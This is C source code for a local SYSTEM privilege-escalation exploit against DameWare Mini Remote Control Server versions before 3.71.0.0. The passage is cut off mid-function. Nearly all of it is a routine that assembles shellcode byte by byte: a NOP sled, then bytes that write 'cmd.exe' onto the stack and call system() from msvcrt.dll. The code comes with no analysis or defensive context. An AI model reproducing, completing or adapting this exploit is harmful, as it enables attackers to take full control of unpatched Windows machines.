DameWare Mini Remote Control Server Local SYSTEM Exploit(1) /*DameWare Mini Remote Control Server Local SYSTEM EXPloitVulnerable Versions Prior to 3.71.0.0 by ash@felinemenace.org This code is based on shards.cpp by xenophile*/#define WIN32_LEAN_AND_MEAN#include <windows.h>#include <stdio.h>#pragma warning(disable: 4305)#pragma warning(disable: 4309)void MakeShellCode (char *buffer){HMODULE hCRT;void * lpSystem;int count=0;while (count < 36){buffer [count] =0x90;count ++;}buffer[37]=0x8B; buffer[38]=0xE5; buffer[39]=0x55;buffer[40]=0x8B; buffer[41]=0xEC; buffer[42]=0x33;buffer[43]=0xFF; buffer[44]=0x90; buffer[45]=0x57;buffer[46]=0x83; buffer[47]=0xEC; buffer[48]=0x04;buffer[49]=0xC6; buffer[50]=0x45; buffer[51]=0xF8;buffer[52]=0x63; buffer[53]=0xC6; buffer [54]=0x45;buffer[55]=0xF9; buffer[56]=0x6D; buffer [57]=0xC6;buffer[58]=0x45; buffer[59]=0xFA; buffer[60]=0x64;buffer[61]=0xC6; buffer[62]=0x45; buffer[63]=0xFB;buffer[64]=0x2E; buffer[65]=0xC6; buffer[66]=0x45;buffer[67]=0xFC; buffer[68]=0x65; buffer[69]=0xC6;buffer[70]=0x45; buffer[71]=0xFD; buffer [72]=0x78;buffer[73]=0xC6; buffer[74]=0x45; buffer [75] =0xFE;buffer[76]=0x65;hCRT = LoadLibrary("msvcrt.dll");lpSystem = GetProcAddress( hCRT, "system" );buffer[77]=0xB8;buffer[78]=((char *)&lpSystem) [0];buffer[79]=((char *)&lpSystem) [1];buffer[80]=((char *)&lpSystem) [2];buffer[81]=((char *)&lpSystem) [3];buffer [82] =0x50; buffer[83]=0x8D; buffer[84]=0x45;buffer[85]=0xF8; buffer[86]=0x50; buffer[87]=0xFF;buffer [88]=0x55; buffer[89]=0xF4;count = 90;while (count < 291){buffer [count] =0x90;count ++;}buffer[291]=0x24; buffer[292]=0xF1; buffer [293]=0x5D;buffer[294]=0x01; buffer[295]=0x26; buffer[296]=0xF1;